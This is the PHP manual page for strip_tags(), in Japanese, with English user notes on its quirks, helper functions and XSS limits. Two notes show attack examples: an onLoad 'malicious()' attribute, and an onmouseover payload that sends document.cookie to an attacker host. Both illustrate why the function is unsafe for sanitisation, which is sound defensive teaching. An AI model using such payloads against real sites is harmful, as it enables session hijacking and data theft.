PHP 8.4.2 Released!

strip_tags

(PHP 4, PHP 5, PHP 7, PHP 8)

strip_tags文字列から HTML および PHP タグを取り除く

説明

strip_tags(string $string, array|string|null $allowed_tags = null): string

この関数は、指定した文字列 (string) から全ての NULL バイトと HTML および PHP タグを取り除きます。 この関数は、fgetss() 関数と同じタグ除去アルゴリズムを使用します。

パラメータ

string

入力文字列。

allowed_tags

オプションの2番目の引数により、取り除かないタグを指定できます。 これは string で指定できますが、PHP 7.4.0 以降では array でも指定可能です。 この引数のフォーマットについては、以下の例を参照ください。

注意:

HTML コメントや PHP タグも削除されるようになりました。この機能はハードコードされており、 allowed_tags で変更することはできません。

注意:

allowed_tags で使えるのは自己終了型でない XHTML タグだけです。 自己終了型の XHTML タグは無視されます。たとえば、 <br><br/> の両方を許可したい場合は、以下のようにしなければいけません。

<?php
strip_tags
($input, '<br>');
?>

戻り値

タグを除去した文字列を返します。

変更履歴

バージョン 説明
8.0.0 allowed_tags は、nullable になりました。
7.4.0 allowed_tags は、array も受け入れるようになりました。

例1 strip_tags() の例

<?php
$text
= '<p>Test paragraph.</p><!-- Comment --> <a href="#fragment">Other text</a>';
echo
strip_tags($text);
echo
"\n";

// <p> と <a> は許可します
echo strip_tags($text, '<p><a>');

// PHP 7.4.0 以降では、上の行は以下のように書けます:
// echo strip_tags($text, ['p', 'a']);
?>

上の例の出力は以下となります。

Test paragraph. Other text
<p>Test paragraph.</p> <a href="#fragment">Other text</a>

注意

警告

XSS攻撃を防ぐ目的で、この関数を使うべきではありません。 htmlspecialchars() のような、より適切な関数、 もしくは、出力のコンテキストによっては他の手段を使うようにしてください。

警告

strip_tags() は HTML の検証を行わないため、 不完全または壊れたタグにより予想以上に多くのテキスト/データが削除される可能性があります。

警告

この関数は、allowed_tags で許可した全てのタグの属性を修正しません。 これには、style および onmouseover属性が含まれており、 悪意のあるユーザーが他のユーザーに見せるようなテキストを投稿する際に危険な行為を行う可能性があります。

注意:

HTML の中にあるタグの中で 1023 バイトより長い名前のものがあれば、 たとえ allowed_tags パラメータに指定していたとしても無効なタグと見なされます。

参考

add a note

User Contributed Notes 14 notes

up
274
mariusz.tarnaski at wp dot pl
16 years ago
Hi. I made a function that removes the HTML tags along with their contents:

Function:
<?php
function strip_tags_content($text, $tags = '', $invert = FALSE) {

preg_match_all('/<(.+?)[\s]*\/?[\s]*>/si', trim($tags), $tags);
$tags = array_unique($tags[1]);

if(
is_array($tags) AND count($tags) > 0) {
if(
$invert == FALSE) {
return
preg_replace('@<(?!(?:'. implode('|', $tags) .')\b)(\w+)\b.*?>.*?</\1>@si', '', $text);
}
else {
return
preg_replace('@<('. implode('|', $tags) .')\b.*?>.*?</\1>@si', '', $text);
}
}
elseif(
$invert == FALSE) {
return
preg_replace('@<(\w+)\b.*?>.*?</\1>@si', '', $text);
}
return
$text;
}
?>

Sample text:
$text = '<b>sample</b> text with <div>tags</div>';

Result for strip_tags($text):
sample text with tags

Result for strip_tags_content($text):
text with

Result for strip_tags_content($text, '<b>'):
<b>sample</b> text with

Result for strip_tags_content($text, '<b>', TRUE);
text with <div>tags</div>

I hope that someone is useful :)
up
35
doug at exploittheweb dot com
9 years ago
"5.3.4 strip_tags() no longer strips self-closing XHTML tags unless the self-closing XHTML tag is also given in allowable_tags."

This is poorly worded.

The above seems to be saying that, since 5.3.4, if you don't specify "<br/>" in allowable_tags then "<br/>" will not be stripped... but that's not actually what they're trying to say.

What it means is, in versions prior to 5.3.4, it "strips self-closing XHTML tags unless the self-closing XHTML tag is also given in allowable_tags", and that since 5.3.4 this is no longer the case.

So what reads as "no longer strips self-closing tags (unless the self-closing XHTML tag is also given in allowable_tags)" is actually saying "no longer (strips self-closing tags unless the self-closing XHTML tag is also given in allowable_tags)".

i.e.

pre-5.3.4: strip_tags('Hello World<br><br/>','<br>') => 'Hello World<br>' // strips <br/> because it wasn't explicitly specified in allowable_tags

5.3.4 and later: strip_tags('Hello World<br><br/>','<br>') => 'Hello World<br><br/>' // does not strip <br/> because PHP matches it with <br> in allowable_tags
up
11
abe
3 years ago
Note, strip_tags will remove anything looking like a tag - not just tags - i.e. if you have tags in attributes then they may be removed too,

e.g.

<?php
$test
='<div a="abc <b>def</b> hij" b="1">x<b>y</b>z</div>';
$echo strip_tags($test, "<div><b>");

will result in

<div a="abc bdef/b hij" b="1">x<b>y</b>z</div>
up
23
Dr. Gianluigi &#34;Zane&#34; Zanettini
9 years ago
A word of caution. strip_tags() can actually be used for input validation as long as you remove ANY tag. As soon as you accept a single tag (2nd parameter), you are opening up a security hole such as this:

<acceptedTag onLoad="javascript:malicious()" />

Plus: regexing away attributes or code block is really not the right solution. For effective input validation when using strip_tags() with even a single tag accepted, http://htmlpurifier.org/ is the way to go.
up
5
makogon-vs at yandex dot ru
1 year ago
One of the most ridiculous and quite common variations of the use of this function, which is often encountered among newcomers to the world of programming, is the use of this function when processing query variables:

<?php
$search
= isset($_GET['search']) ? strip_tags($_GET['search']) : '';
?>

I don’t know the root cause of where this “fashion” came from, perhaps from yet another low-quality book on PHP at the beginning of the century. But the fact remains that this construction is used even now, in the days of PHP8, not only by beginners, but also by developers of commercial systems.

Please do not use this function in the manner described above. This doesn't make any practical sense.

The HTML code removal function has nothing to do with data validation, much less the topic of SQL injections.

Also, you should not use this function when processing data before writing it to the database. It sounds strange, but you can never be sure that when using this function in the corporate system you are designing, you will not lose important incoming data that may (or will eventually become) come in HTML format.
A good practice for building systems is to sketch out the data in its original form, “as is,” but you can provide this data in client code according to current business requirements.
up
43
bzplan at web dot de
12 years ago
a HTML code like this:

<?php
$html
= '
<div>
<p style="color:blue;">color is blue</p><p>size is <span style="font-size:200%;">huge</span></p>
<p>material is wood</p>
</div>
'
;
?>

with <?php $str = strip_tags($html); ?>
... the result is:

$str = 'color is bluesize is huge
material is wood';

notice: the words 'blue' and 'size' grow together :(
and line-breaks are still in new string $str

if you need a space between the words (and without line-break)
use my function: <?php $str = rip_tags($html); ?>
... the result is:

$str = 'color is blue size is huge material is wood';

the function:

<?php
// --------------------------------------------------------------

function rip_tags($string) {

// ----- remove HTML TAGs -----
$string = preg_replace ('/<[^>]*>/', ' ', $string);

// ----- remove control characters -----
$string = str_replace("\r", '', $string); // --- replace with empty space
$string = str_replace("\n", ' ', $string); // --- replace with space
$string = str_replace("\t", ' ', $string); // --- replace with space

// ----- remove multiple spaces -----
$string = trim(preg_replace('/ {2,}/', ' ', $string));

return
$string;

}

// --------------------------------------------------------------
?>

the KEY is the regex pattern: '/<[^>]*>/'
instead of strip_tags()
... then remove control characters and multiple spaces
:)
up
23
stever at starburstpublishing dot com dot au
8 years ago
Since strip_tags does not remove attributes and thus creates a potential XSS security hole, here is a small function I wrote to allow only specific tags with specific attributes and strip all other tags and attributes.

If you only allow formatting tags such as b, i, and p, and styling attributes such as class, id and style, this will strip all javascript including event triggers in formatting tags.

Note that allowing anchor tags or href attributes opens another potential security hole that this solution won't protect against. You'll need more comprehensive protection if you plan to allow links in your text.

<?php
function stripUnwantedTagsAndAttrs($html_str){
$xml = new DOMDocument();
//Suppress warnings: proper error handling is beyond scope of example
libxml_use_internal_errors(true);
//List the tags you want to allow here, NOTE you MUST allow html and body otherwise entire string will be cleared
$allowed_tags = array("html", "body", "b", "br", "em", "hr", "i", "li", "ol", "p", "s", "span", "table", "tr", "td", "u", "ul");
//List the attributes you want to allow here
$allowed_attrs = array ("class", "id", "style");
if (!
strlen($html_str)){return false;}
if (
$xml->loadHTML($html_str, LIBXML_HTML_NOIMPLIED | LIBXML_HTML_NODEFDTD)){
foreach (
$xml->getElementsByTagName("*") as $tag){
if (!
in_array($tag->tagName, $allowed_tags)){
$tag->parentNode->removeChild($tag);
}else{
foreach (
$tag->attributes as $attr){
if (!
in_array($attr->nodeName, $allowed_attrs)){
$tag->removeAttribute($attr->nodeName);
}
}
}
}
}
return
$xml->saveHTML();
}
?>
up
42
CEO at CarPool2Camp dot org
15 years ago
Note the different outputs from different versions of the same tag:

<?php // striptags.php
$data = '<br>Each<br/>New<br />Line';
$new = strip_tags($data, '<br>');
var_dump($new); // OUTPUTS string(21) "<br>EachNew<br />Line"

<?php // striptags.php
$data = '<br>Each<br/>New<br />Line';
$new = strip_tags($data, '<br/>');
var_dump($new); // OUTPUTS string(16) "Each<br/>NewLine"

<?php // striptags.php
$data = '<br>Each<br/>New<br />Line';
$new = strip_tags($data, '<br />');
var_dump($new); // OUTPUTS string(11) "EachNewLine"
?>
up
9
roger dot keulen at vaimo dot com
5 years ago
https://bugs.php.net/bug.php?id=78346

After upgrading from v7.3.3 to v7.3.7 it appears nested "php tags" inside a string are no longer being stripped correctly by strip_tags().

This is still working in v7.3.3, v7.2 & v7.1. I've added a simple test below.

Test script:
---------------
<?php
$str
= '<?= \'<?= 1 ?>\' ?>2';
var_dump(strip_tags($str));

Expected result:
----------------
string(1) "2"

Actual result:
--------------
string(5) "' ?>2"
up
5
Trititaty
9 years ago
Features:
* allowable tags (as in strip_tags),
* optional stripping attributes of the allowable tags,
* optional comment preserving,
* deleting broken and unclosed tags and comments,
* optional callback function call for every piece processed allowing for flexible replacements.

<?php
function better_strip_tags( $str, $allowable_tags = '', $strip_attrs = false, $preserve_comments = false, callable $callback = null ) {
$allowable_tags = array_map( 'strtolower', array_filter( // lowercase
preg_split( '/(?:>|^)\\s*(?:<|$)/', $allowable_tags, -1, PREG_SPLIT_NO_EMPTY ), // get tag names
function( $tag ) { return preg_match( '/^[a-z][a-z0-9_]*$/i', $tag ); } // filter broken
) );
$comments_and_stuff = preg_split( '/(<!--.*?(?:-->|$))/', $str, -1, PREG_SPLIT_DELIM_CAPTURE );
foreach (
$comments_and_stuff as $i => $comment_or_stuff ) {
if (
$i % 2 ) { // html comment
if ( !( $preserve_comments && preg_match( '/<!--.*?-->/', $comment_or_stuff ) ) ) {
$comments_and_stuff[$i] = '';
}
} else {
// stuff between comments
$tags_and_text = preg_split( "/(<(?:[^>\"']++|\"[^\"]*+(?:\"|$)|'[^']*+(?:'|$))*(?:>|$))/", $comment_or_stuff, -1, PREG_SPLIT_DELIM_CAPTURE );
foreach (
$tags_and_text as $j => $tag_or_text ) {
$is_broken = false;
$is_allowable = true;
$result = $tag_or_text;
if (
$j % 2 ) { // tag
if ( preg_match( "%^(</?)([a-z][a-z0-9_]*)\\b(?:[^>\"'/]++|/+?|\"[^\"]*\"|'[^']*')*?(/?>)%i", $tag_or_text, $matches ) ) {
$tag = strtolower( $matches[2] );
if (
in_array( $tag, $allowable_tags ) ) {
if (
$strip_attrs ) {
$opening = $matches[1];
$closing = ( $opening === '</' ) ? '>' : $closing;
$result = $opening . $tag . $closing;
}
} else {
$is_allowable = false;
$result = '';
}
} else {
$is_broken = true;
$result = '';
}
} else {
// text
$tag = false;
}
if ( !
$is_broken && isset( $callback ) ) {
// allow result modification
call_user_func_array( $callback, array( &$result, $tag_or_text, $tag, $is_allowable ) );
}
$tags_and_text[$j] = $result;
}
$comments_and_stuff[$i] = implode( '', $tags_and_text );
}
}
$str = implode( '', $comments_and_stuff );
return
$str;
}
?>

Callback arguments:
* &$result: contains text to be placed insted of original piece (e.g. empty string for forbidden tags), it can be changed;
* $tag_or_text: original piece of text or a tag (see below);
* $tag: false for text between tags, lowercase tag name for tags;
* $is_allowable: boolean telling if a tag isn't allowed (to avoid double checking), always true for text between tags
Callback function isn't called for comments and broken tags.

Caution: the function doesn't fully validate tags (the more so HTML itself), it just force strips those obviously broken (in addition to stripping forbidden tags). If you want to get valid tags then use strip_attrs option, though it doesn't guarantee tags are balanced or used in the appropriate context. For complex logic consider using DOM parser.
up
2
Anonymous
7 years ago
Just bzplan's function with the option to choose what tags are replaced for

function rip_tags($string, $rep = ' ') {

// ----- remove HTML TAGs -----
$string = preg_replace ('/<[^>]*>/', $rep, $string);

// ----- remove control characters -----
$string = str_replace("\r", '', $string); // --- replace with empty space
$string = str_replace("\n", $rep, $string); // --- replace with space
$string = str_replace("\t", $rep, $string); // --- replace with space

// ----- remove multiple spaces -----
$string = trim(preg_replace('/ {2,}/', $rep, $string));

return $string;

}
up
5
cesar at nixar dot org
18 years ago
Here is a recursive function for strip_tags like the one showed in the stripslashes manual page.

<?php
function strip_tags_deep($value)
{
return
is_array($value) ?
array_map('strip_tags_deep', $value) :
strip_tags($value);
}

// Example
$array = array('<b>Foo</b>', '<i>Bar</i>', array('<b>Foo</b>', '<i>Bar</i>'));
$array = strip_tags_deep($array);

// Output
print_r($array);
?>
up
2
bnt dot gloria at outlook dot com
10 years ago
With allowable_tags, strip-tags is not safe.

<?php

$str
= "<p onmouseover=\"window.location='http://www.theBad.com/?cookie='+document.cookie;\"> don't mouseover </p>";
$str= strip_tags($str, '<p>');
echo
$str; // DISPLAY: <p onmouseover=\"window.location='http://www.theBad.com/?cookie='+document.cookie;\"> don't mouseover </p>";

?>
up
2
tom at cowin dot us
14 years ago
With most web based user input of more than a line of text, it seems I get 90% 'paste from Word'. I've developed this fn over time to try to strip all of this cruft out. A few things I do here are application specific, but if it helps you - great, if you can improve on it or have a better way - please - post it...

<?php

function strip_word_html($text, $allowed_tags = '<b><i><sup><sub><em><strong><u><br>')
{
mb_regex_encoding('UTF-8');
//replace MS special characters first
$search = array('/&lsquo;/u', '/&rsquo;/u', '/&ldquo;/u', '/&rdquo;/u', '/&mdash;/u');
$replace = array('\'', '\'', '"', '"', '-');
$text = preg_replace($search, $replace, $text);
//make sure _all_ html entities are converted to the plain ascii equivalents - it appears
//in some MS headers, some html entities are encoded and some aren't
$text = html_entity_decode($text, ENT_QUOTES, 'UTF-8');
//try to strip out any C style comments first, since these, embedded in html comments, seem to
//prevent strip_tags from removing html comments (MS Word introduced combination)
if(mb_stripos($text, '/*') !== FALSE){
$text = mb_eregi_replace('#/\*.*?\*/#s', '', $text, 'm');
}
//introduce a space into any arithmetic expressions that could be caught by strip_tags so that they won't be
//'<1' becomes '< 1'(note: somewhat application specific)
$text = preg_replace(array('/<([0-9]+)/'), array('< $1'), $text);
$text = strip_tags($text, $allowed_tags);
//eliminate extraneous whitespace from start and end of line, or anywhere there are two or more spaces, convert it to one
$text = preg_replace(array('/^\s\s+/', '/\s\s+$/', '/\s\s+/u'), array('', '', ' '), $text);
//strip out inline css and simplify style tags
$search = array('#<(strong|b)[^>]*>(.*?)</(strong|b)>#isu', '#<(em|i)[^>]*>(.*?)</(em|i)>#isu', '#<u[^>]*>(.*?)</u>#isu');
$replace = array('<b>$2</b>', '<i>$2</i>', '<u>$1</u>');
$text = preg_replace($search, $replace, $text);
//on some of the ?newer MS Word exports, where you get conditionals of the form 'if gte mso 9', etc., it appears
//that whatever is in one of the html comments prevents strip_tags from eradicating the html comment that contains
//some MS Style Definitions - this last bit gets rid of any leftover comments */
$num_matches = preg_match_all("/\<!--/u", $text, $matches);
if(
$num_matches){
$text = preg_replace('/\<!--(.)*--\>/isu', '', $text);
}
return
$text;
}
?>
To Top